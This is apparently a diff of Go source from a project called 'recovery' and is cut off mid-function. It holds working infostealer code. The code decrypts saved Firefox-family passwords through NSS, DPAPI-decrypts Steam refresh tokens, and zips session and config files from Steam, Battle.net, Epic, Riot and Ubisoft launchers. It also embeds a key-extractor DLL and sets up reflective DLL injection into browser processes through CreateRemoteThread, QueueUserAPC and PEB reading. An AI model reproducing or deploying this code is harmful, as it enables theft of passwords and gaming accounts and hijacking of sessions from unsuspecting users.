return fn(profile);
}
static int call_nss_shutdown(void* handle) {
NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown");
if (!fn) return -1;
return fn();
}
static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) {
PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt");
if (!fn) return -1;
return fn(enc, dec, NULL);
}
static void call_port_free(void* handle, void* ptr) {
PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free");
if (fn) fn(ptr);
}
*/
import "C"
import (
"encoding/base64"
"os"
"runtime"
"strings"
"unsafe"
"recovery/recovery/types"
)
var nssLibPaths = []string{
// Linux paths
"/usr/lib/x86_64-linux-gnu/libnss3.so",
"/usr/lib64/libnss3.so",
"/usr/lib/libnss3.so",
"/usr/lib/firefox/libnss3.so",
"/usr/lib64/firefox/libnss3.so",
"/opt/firefox/libnss3.so",
"/opt/librewolf/libnss3.so",
"/snap/firefox/current/usr/lib/firefox/libnss3.so",
// macOS paths
"/Applications/Firefox.app/Contents/MacOS/libnss3.dylib",
"/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib",
"/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib",
"/opt/homebrew/lib/libnss3.dylib",
"/usr/local/lib/libnss3.dylib",
}
func findNSSLib() string {
suffix := ".so"
if runtime.GOOS == "darwin" {
suffix = ".dylib"
}
for _, p := range nssLibPaths {
if strings.HasSuffix(p, suffix) {
if _, err := os.Stat(p); err == nil {
return p
}
}
}
name := "libnss3.so"
if runtime.GOOS == "darwin" {
name = "libnss3.dylib"
}
return name
}
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
libPath := findNSSLib()
cLibPath := C.CString(libPath)
defer C.free(unsafe.Pointer(cLibPath))
handle := C.load_nss(cLibPath)
if handle == nil {
logf("firefox NSS: failed to load %s", libPath)
return nil
}
defer C.close_nss(handle)
cProfile := C.CString(profilePath)
defer C.free(unsafe.Pointer(cProfile))
ret := C.call_nss_init(handle, cProfile)
if ret != 0 {
logf("firefox NSS: NSS_Init failed for %s", profilePath)
return nil
}
defer C.call_nss_shutdown(handle)
var results []types.PasswordResult
for _, login := range logins {
username := nssDecryptUnix(handle, login.EncryptedUsername)
password := nssDecryptUnix(handle, login.EncryptedPassword)
results = append(results, types.PasswordResult{
URL: login.Hostname,
Username: username,
Password: password,
})
}
return results
}
func nssDecryptUnix(handle unsafe.Pointer, b64 string) string {
b64 = strings.TrimSpace(b64)
if b64 == "" {
return ""
}
encBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil || len(encBytes) == 0 {
return ""
}
var encItem C.SECItem
encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0]))
encItem.len = C.uint(len(encBytes))
var decItem C.SECItem
ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem)
if ret != 0 || decItem.data == nil || decItem.len == 0 {
return ""
}
result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len))
C.call_port_free(handle, unsafe.Pointer(decItem.data))
return result
}
+138
View File
@@ -0,0 +1,138 @@
//go:build windows
package firefox
import (
"encoding/base64"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
"recovery/recovery/types"
)
type secItem struct {
ItemType uint32
Data *byte
Len uint32
}
var nssInstallDirs = map[string][]string{
"Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`},
"LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`},
"Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`},
}
func findNSSDir(browserName string) string {
dirs := nssInstallDirs[browserName]
if dirs == nil {
dirs = nssInstallDirs["Firefox"]
}
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
for _, dirs := range nssInstallDirs {
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
}
return ""
}
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
nssDir := findNSSDir(browserName)
if nssDir == "" {
logf("firefox NSS: nss3.dll not found for %s", browserName)
return nil
}
oldPath := os.Getenv("PATH")
os.Setenv("PATH", nssDir+";"+oldPath)
defer os.Setenv("PATH", oldPath)
nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll"))
if err != nil {
logf("firefox NSS: failed to load nss3.dll: %v", err)
return nil
}
defer nss3dll.Release()
nssInit, err := nss3dll.FindProc("NSS_Init")
if err != nil {
return nil
}
pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt")
if err != nil {
return nil
}
nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown")
portFree, _ := nss3dll.FindProc("PORT_Free")
profileBytes, err := syscall.BytePtrFromString(profilePath)
if err != nil {
return nil
}
ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes)))
if ret != 0 {
logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr)
return nil
}
defer func() {
if nssShutdown != nil {
nssShutdown.Call()
}
}()
var results []types.PasswordResult
for _, login := range logins {
username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername)
password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword)
results = append(results, types.PasswordResult{
URL: login.Hostname,
Username: username,
Password: password,
})
}
return results
}
func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string {
b64 = strings.TrimSpace(b64)
if b64 == "" {
return ""
}
encBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil || len(encBytes) == 0 {
return ""
}
encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))}
var decItem secItem
ret, _, _ := pk11SDRDecrypt.Call(
uintptr(unsafe.Pointer(&encItem)),
uintptr(unsafe.Pointer(&decItem)),
0,
)
if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 {
return ""
}
decBytes := unsafe.Slice(decItem.Data, decItem.Len)
result := string(decBytes)
if portFree != nil {
portFree.Call(uintptr(unsafe.Pointer(decItem.Data)))
}
return result
}
+228
View File
@@ -0,0 +1,228 @@
//go:build !windows
package recovery
import (
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
func pathExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func ScanGaming() *types.GamingResult {
result := &types.GamingResult{
Steam: scanSteamUnix(),
}
if result.Steam == nil {
return nil
}
return result
}
func steamBasePaths() []string {
home, _ := os.UserHomeDir()
if runtime.GOOS == "darwin" {
return []string{
filepath.Join(home, "Library", "Application Support", "Steam"),
}
}
return []string{
filepath.Join(home, ".steam", "steam"),
filepath.Join(home, ".local", "share", "Steam"),
filepath.Join(home, ".steam", "debian-installation"),
}
}
func scanSteamUnix() *types.SteamResult {
var steamPath string
for _, p := range steamBasePaths() {
if pathExists(p) {
steamPath = p
break
}
}
if steamPath == "" {
return nil
}
result := &types.SteamResult{SteamPath: steamPath}
configPath := filepath.Join(steamPath, "config", "loginusers.vdf")
if data, err := os.ReadFile(configPath); err == nil {
for _, line := range strings.Split(string(data), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, `"AccountName"`) || strings.HasPrefix(line, `"accountname"`) {
val := vdfValueUnix(line)
if val != "" {
result.Account = val
result.AutoLogin = val
}
}
if strings.HasPrefix(line, `"RememberPassword"`) {
result.RememberPW = vdfValueUnix(line) == "1"
}
}
}
if entries, err := os.ReadDir(steamPath); err == nil {
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
result.SSFNFiles = append(result.SSFNFiles, e.Name())
}
}
}
seenGames := make(map[string]bool)
scanSteamLibraryUnix(steamPath, result, seenGames)
if result.Account == "" && len(result.Games) == 0 && len(result.SSFNFiles) == 0 {
return nil
}
return result
}
func scanSteamLibraryUnix(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
libraryFolders := []string{steamPath}
steamappsRoot := filepath.Join(steamPath, "steamapps")
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
if data, err := os.ReadFile(vdfPath); err == nil {
for _, line := range strings.Split(string(data), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
val := vdfValueUnix(line)
if val != "" && pathExists(val) && val != steamPath {
libraryFolders = append(libraryFolders, val)
}
}
}
}
for _, lib := range libraryFolders {
libApps := filepath.Join(lib, "steamapps")
if !pathExists(libApps) {
continue
}
entries, _ := os.ReadDir(libApps)
for _, e := range entries {
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
continue
}
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
if err != nil || len(acfData) == 0 {
continue
}
acf := parseACFUnix(string(acfData))
if acf["appid"] == "" || acf["name"] == "" {
continue
}
if !seenGames[acf["appid"]] {
seenGames[acf["appid"]] = true
result.Games = append(result.Games, types.GameInfo{
ID: acf["appid"],
Name: acf["name"],
Installed: acf["StateFlags"] != "4",
})
}
}
}
}
func parseACFUnix(data string) map[string]string {
result := map[string]string{}
var inBlock bool
for _, line := range strings.Split(data, "\n") {
line = strings.TrimLeft(line, "\t ")
if line == "{" {
inBlock = true
continue
}
if line == "}" {
break
}
if !inBlock || line == "" {
continue
}
if strings.HasPrefix(line, `"`) {
key := vdfNthQuotedUnix(line, 0)
val := vdfNthQuotedUnix(line, 1)
if key != "" {
result[key] = val
}
}
}
return result
}
func vdfValueUnix(line string) string {
return vdfNthQuotedUnix(line, 1)
}
func vdfNthQuotedUnix(line string, n int) string {
count := 0
i := 0
for count <= n && i < len(line) {
start := strings.Index(line[i:], `"`)
if start == -1 {
return ""
}
start += i + 1
end := strings.Index(line[start:], `"`)
if end == -1 {
if count == n {
return line[start:]
}
return ""
}
if count == n {
return line[start : start+end]
}
i = start + end + 1
count++
}
return ""
}
const maxZipFile = 50 * 1024 * 1024
func ZipSteamSession(steamPath string) ([]byte, error) {
if steamPath == "" || !pathExists(steamPath) {
return nil, os.ErrNotExist
}
var files []string
entries, _ := os.ReadDir(steamPath)
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
files = append(files, filepath.Join(steamPath, e.Name()))
}
}
}
configDir := filepath.Join(steamPath, "config")
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
p := filepath.Join(configDir, name)
if pathExists(p) {
files = append(files, p)
}
}
if len(files) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
}
func ZipBattleNet() ([]byte, error) { return nil, os.ErrNotExist }
func ZipEpic() ([]byte, error) { return nil, os.ErrNotExist }
func ZipRiot() ([]byte, error) { return nil, os.ErrNotExist }
func ZipUplay() ([]byte, error) { return nil, os.ErrNotExist }
+575
View File
@@ -0,0 +1,575 @@
//go:build windows
package recovery
import (
"encoding/hex"
"os"
"path/filepath"
"strings"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
func normLines(data string) []string {
return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n")
}
func ScanGaming() *types.GamingResult {
result := &types.GamingResult{
Steam: ScanSteam(),
BattleNet: ScanBattleNet(),
Epic: ScanEpic(),
Riot: ScanRiot(),
Uplay: ScanUplay(),
}
if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 {
return nil
}
return result
}
func ScanSteam() *types.SteamResult {
result := &types.SteamResult{}
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ)
if err != nil {
logf("[gaming] Steam registry key not found: %v", err)
return nil
}
defer k.Close()
result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser")
remPw, _, _ := k.GetIntegerValue("RememberPassword")
result.RememberPW = remPw != 0
steamPath, _, _ := k.GetStringValue("SteamPath")
logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath))
if steamPath == "" || !pathExists(steamPath) {
return nil
}
steamPath = filepath.FromSlash(steamPath)
result.SteamPath = steamPath
if result.AutoLogin != "" {
result.Account = result.AutoLogin
}
seenGames := make(map[string]bool)
scanSteamLibrary(steamPath, result, seenGames)
logf("[gaming] Steam library scan found %d games from manifests", len(result.Games))
appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ)
if err != nil {
logf("[gaming] Steam Apps registry key not found: %v", err)
} else {
defer appsKey.Close()
names, _ := appsKey.ReadSubKeyNames(0)
logf("[gaming] Steam Apps registry has %d sub-keys", len(names))
for _, name := range names {
if seenGames[name] {
continue
}
subKey, err := registry.OpenKey(appsKey, name, registry.READ)
if err != nil {
continue
}
gameName, _, _ := subKey.GetStringValue("Name")
installed, _, _ := subKey.GetIntegerValue("Installed")
running, _, _ := subKey.GetIntegerValue("Running")
subKey.Close()
if gameName != "" {
seenGames[name] = true
result.Games = append(result.Games, types.GameInfo{
ID: name,
Name: gameName,
Installed: installed == 1,
Running: running == 1,
})
}
}
}
if entries, err := os.ReadDir(steamPath); err == nil {
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
result.SSFNFiles = append(result.SSFNFiles, e.Name())
}
}
}
localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath))
if pathExists(localVdfPath) {
tokens := extractSteamTokens(steamPath, localVdfPath)
if len(tokens) > 0 {
result.Token = strings.Join(tokens, "\n")
for _, tok := range tokens {
if dot := strings.Index(tok, "."); dot > 0 {
result.Account = tok[:dot]
break
}
}
}
}
if result.Account == "" {
configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml")
if configBytes, err := os.ReadFile(configPath); err == nil {
content := string(configBytes)
if idx := strings.Index(content, `"PersonaName"`); idx > 0 {
start := strings.Index(content[idx:], `"`)
end := strings.Index(content[idx+start+1:], `"`)
if start > 0 && end > 0 {
result.Account = content[idx+start+1 : idx+start+1+end]
}
}
}
}
return result
}
func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
libraryFolders := []string{steamPath}
steamappsRoot := filepath.Join(steamPath, "steamapps")
logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot))
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath))
if data, err := os.ReadFile(vdfPath); err == nil {
for _, line := range normLines(string(data)) {
line = strings.TrimSpace(line)
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
val := vdfValue(line)
if val != "" {
libraryPath := filepath.FromSlash(val)
libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator))
if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) {
libraryFolders = append(libraryFolders, libraryPath)
}
}
}
}
}
logf("[gaming] Steam library folders to scan: %v", libraryFolders)
for _, lib := range libraryFolders {
libApps := filepath.Join(lib, "steamapps")
logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps))
if !pathExists(libApps) {
continue
}
entries, _ := os.ReadDir(libApps)
logf("[gaming] Steam steamapps dir has %d entries", len(entries))
for _, e := range entries {
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
continue
}
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
if err != nil || len(acfData) == 0 {
continue
}
acf := parseACF(string(acfData))
if acf["appid"] == "" || acf["name"] == "" {
continue
}
installed := acf["StateFlags"] != "4"
if !seenGames[acf["appid"]] {
seenGames[acf["appid"]] = true
result.Games = append(result.Games, types.GameInfo{
ID: acf["appid"],
Name: acf["name"],
Installed: installed,
})
}
}
}
}
func parseACF(data string) map[string]string {
result := map[string]string{}
var inBlock bool
for _, line := range normLines(data) {
line = strings.TrimLeft(line, "\t ")
if line == "{" {
inBlock = true
continue
}
if line == "}" {
break
}
if !inBlock || line == "" {
continue
}
if strings.HasPrefix(line, `"`) {
key, val := vdfKeyValue(line)
if key != "" {
result[key] = val
}
}
}
return result
}
func vdfKeyValue(line string) (string, string) {
key := vdfNthQuoted(line, 0)
val := vdfNthQuoted(line, 1)
return key, val
}
func vdfValue(line string) string {
return vdfNthQuoted(line, 1)
}
func vdfNthQuoted(line string, n int) string {
count := 0
i := 0
for count <= n && i < len(line) {
start := strings.Index(line[i:], `"`)
if start == -1 {
return ""
}
start += i + 1
end := strings.Index(line[start:], `"`)
if end == -1 {
if count == n {
return line[start:]
}
return ""
}
if count == n {
return line[start : start+end]
}
i = start + end + 1
count++
}
return ""
}
func extractSteamTokens(steamPath, localVdfPath string) []string {
loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf")
if !pathExists(loginUsersPath) {
loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf")
}
if !pathExists(loginUsersPath) {
return nil
}
loginData, _ := os.ReadFile(loginUsersPath)
localData, _ := os.ReadFile(localVdfPath)
if loginData == nil || localData == nil {
return nil
}
accounts := parseVDFAccountNames(string(loginData))
if len(accounts) == 0 {
return nil
}
return findSteamTokens(string(localData), accounts)
}
func parseVDFAccountNames(data string) []string {
var accounts []string
for _, line := range normLines(data) {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, `"AccountName"`) {
val := vdfValue(line)
if val != "" {
accounts = append(accounts, val)
}
}
}
return accounts
}
func findSteamTokens(data string, accounts []string) []string {
normalized := strings.ReplaceAll(data, "\r\n", "\n")
var tokens []string
for _, account := range accounts {
prefix := `"` + account + `"`
idx := strings.Index(normalized, prefix)
if idx == -1 {
continue
}
blockStart := strings.Index(normalized[idx:], "{")
blockEnd := strings.Index(normalized[idx:], "}")
if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart {
continue
}
block := normalized[idx+blockStart : idx+blockEnd]
tokenStart := strings.Index(block, `"Token"`)
if tokenStart == -1 {
tokenStart = strings.Index(block, `"RefreshToken"`)
}
if tokenStart == -1 {
continue
}
tokenLine := block[tokenStart:]
if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 {
tokenLine = tokenLine[:lineEnd]
}
tokenHex := vdfValue(tokenLine)
if len(tokenHex) < 64 {
continue
}
decrypted := decryptSteamToken(tokenHex, account)
if decrypted != "" {
tokens = append(tokens, account+"."+decrypted)
}
}
return tokens
}
func decryptSteamToken(tokenHex, account string) string {
tokenBytes, err := hex.DecodeString(tokenHex)
if err != nil || len(tokenBytes) < 16 {
return ""
}
entropy := []byte(account)
out, err := dpapiDecrypt(tokenBytes, entropy)
if err != nil || len(out) == 0 {
return ""
}
return strings.TrimRight(string(out), "\x00")
}
func dpapiDecrypt(data, entropy []byte) ([]byte, error) {
type blob struct {
cbData uint32
pbData *byte
}
var inBlob, outBlob blob
inBlob.cbData = uint32(len(data))
if len(data) > 0 {
inBlob.pbData = &data[0]
}
var entPtr uintptr
if len(entropy) > 0 {
entBlob := blob{
cbData: uint32(len(entropy)),
pbData: &entropy[0],
}
entPtr = uintptr(unsafe.Pointer(&entBlob))
}
proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData")
r, _, err := proc.Call(
uintptr(unsafe.Pointer(&inBlob)),
0, entPtr, 0, 0, 0,
uintptr(unsafe.Pointer(&outBlob)),
)
if r == 0 {
return nil, err
}
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
out := make([]byte, outBlob.cbData)
copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData))
return out, nil
}
func pathExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func ScanBattleNet() []types.BattleNetResult {
var results []types.BattleNetResult
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir))
if !pathExists(bnDir) {
return nil
}
entries, _ := os.ReadDir(bnDir)
for _, e := range entries {
if e.IsDir() {
scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results)
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
results = append(results, types.BattleNetResult{
Path: filepath.Join(bnDir, e.Name()),
Name: e.Name(),
})
}
}
return results
}
func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) {
entries, err := os.ReadDir(dir)
if err != nil {
return
}
for _, e := range entries {
if e.IsDir() {
scanBattleNetRecursive(filepath.Join(dir, e.Name()), results)
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
*results = append(*results, types.BattleNetResult{
Path: filepath.Join(dir, e.Name()),
Name: e.Name(),
})
}
}
}
func ScanEpic() []types.EpicResult {
var results []types.EpicResult
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini")
logf("[gaming] Epic config=%q exists=%v", path, pathExists(path))
if !pathExists(path) {
return nil
}
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
return nil
}
content := string(data)
if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") {
results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"})
}
return results
}
func ScanRiot() []types.RiotResult {
var results []types.RiotResult
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data")
logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir))
if pathExists(riotDir) {
results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"})
}
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config")
logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir))
if pathExists(configDir) {
results = append(results, types.RiotResult{Path: configDir, Name: "Config"})
}
return results
}
func ScanUplay() []types.UplayResult {
var results []types.UplayResult
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path))
if pathExists(path) {
results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"})
}
return results
}
const maxZipFile = 50 * 1024 * 1024
func ZipSteamSession(steamPath string) ([]byte, error) {
if steamPath == "" || !pathExists(steamPath) {
return nil, os.ErrNotExist
}
var files []string
entries, _ := os.ReadDir(steamPath)
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
files = append(files, filepath.Join(steamPath, e.Name()))
}
}
}
configDir := filepath.Join(steamPath, "config")
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
p := filepath.Join(configDir, name)
if pathExists(p) {
files = append(files, p)
}
}
localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
if pathExists(localVdf) {
files = append(files, localVdf)
}
if len(files) == 0 {
return nil, os.ErrNotExist
}
logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath)
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
}
func ZipBattleNet() ([]byte, error) {
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
if !pathExists(bnDir) {
return nil, os.ErrNotExist
}
return ziputil.ZipDirectory(bnDir)
}
func ZipEpic() ([]byte, error) {
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows")
if !pathExists(configDir) {
return nil, os.ErrNotExist
}
return ziputil.ZipDirectory(configDir)
}
func ZipRiot() ([]byte, error) {
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client")
if !pathExists(riotDir) {
return nil, os.ErrNotExist
}
var files []string
for _, sub := range []string{"Data", "Config"} {
d := filepath.Join(riotDir, sub)
if !pathExists(d) {
continue
}
filepath.Walk(d, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || info.Size() > maxZipFile {
return nil
}
files = append(files, path)
return nil
})
}
if len(files) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(files, riotDir)
}
func ZipUplay() ([]byte, error) {
uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
if !pathExists(uplayDir) {
return nil, os.ErrNotExist
}
return ziputil.ZipDirectory(uplayDir)
}
+26
View File
@@ -0,0 +1,26 @@
package recovery
import (
"fmt"
"log"
"sync"
)
func logf(format string, args ...interface{}) {
log.Printf("[recovery] "+format, args...)
}
func safeRecover(where string) {
if r := recover(); r != nil {
logf("panic recovered in %s: %v", where, r)
}
}
func recoverErrors(where string, errs *[]string, mu *sync.Mutex) {
if r := recover(); r != nil {
logf("panic recovered in %s: %v", where, r)
mu.Lock()
*errs = append(*errs, fmt.Sprintf("%s: %v", where, r))
mu.Unlock()
}
}
+14
View File
@@ -0,0 +1,14 @@
//go:build windows
package platform
import (
_ "embed"
)
//go:embed recovery-key-extractor.dll
var embeddedDLL []byte
func GetEmbeddedDLL() []byte {
return embeddedDLL
}
@@ -0,0 +1,7 @@
//go:build !windows
package platform
func GetEmbeddedDLL() []byte {
return nil
}
+631
View File
@@ -0,0 +1,631 @@
//go:build windows
package platform
import (
"encoding/base64"
"encoding/binary"
"fmt"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
var (
modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll")
procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx")
procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx")
procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread")
procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC")
modNtdllInj = windows.NewLazySystemDLL("ntdll.dll")
procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess")
)
// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64).
type processBasicInformation struct {
Reserved1 uintptr
PebBaseAddress uintptr
Reserved2 [2]uintptr
UniqueProcessId uintptr
Reserved3 uintptr
}
// unicodeString mirrors UNICODE_STRING.
type unicodeString struct {
Length uint16
MaximumLength uint16
Buffer uintptr
}
// processCommandLine returns the full command line of a process by walking its
// PEB (x64 offsets). Used to distinguish the main browser process from its
// renderer/GPU/utility subprocesses.
func processCommandLine(pid uint32) (string, error) {
hProcess, err := windows.OpenProcess(
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid)
if err != nil {
return "", err
}
defer windows.CloseHandle(hProcess)
var pbi processBasicInformation
var retLen uint32
status, _, _ := procNtQueryInformationProcess.Call(
uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)),
unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)),
)
if status != 0 || pbi.PebBaseAddress == 0 {
return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status)
}
// PEB.ProcessParameters (offset 0x20 on x64).
var procParams uintptr
if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20,
(*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil {
return "", err
}
if procParams == 0 {
return "", fmt.Errorf("no process parameters")
}
// RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64).
var cmdLine unicodeString
if err := windows.ReadProcessMemory(hProcess, procParams+0x70,
(*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil {
return "", err
}
if cmdLine.Length == 0 || cmdLine.Buffer == 0 {
return "", fmt.Errorf("no command line")
}
buf := make([]uint16, cmdLine.Length/2)
if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer,
(*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil {
return "", err
}
return syscall.UTF16ToString(buf), nil
}
func orderedBrowserPIDs(exeName string) []uint32 {
pids, err := FindProcesses(exeName)
if err != nil || len(pids) <= 1 {
return pids
}
for i, pid := range pids {
if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") {
if i != 0 {
pids[0], pids[i] = pids[i], pids[0]
}
return pids
}
}
return pids
}
// findReflectiveLoaderOffset parses the PE export table in file layout and
// returns the file offset of the ReflectiveLoader export function.
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' {
return 0, fmt.Errorf("not a valid PE")
}
lfanew := binary.LittleEndian.Uint32(pe[60:])
if int(lfanew)+24 > len(pe) {
return 0, fmt.Errorf("truncated PE header")
}
if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 {
return 0, fmt.Errorf("bad PE signature")
}
coffOff := lfanew + 4
numSections := binary.LittleEndian.Uint16(pe[coffOff+2:])
optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:])
optHeaderOff := coffOff + 20
if int(optHeaderOff)+4 > len(pe) {
return 0, fmt.Errorf("truncated optional header")
}
magic := binary.LittleEndian.Uint16(pe[optHeaderOff:])
var exportRVA uint32
switch magic {
case 0x10b: // PE32
if int(optHeaderOff)+100 > len(pe) {
return 0, fmt.Errorf("PE32 optional header too short")
}
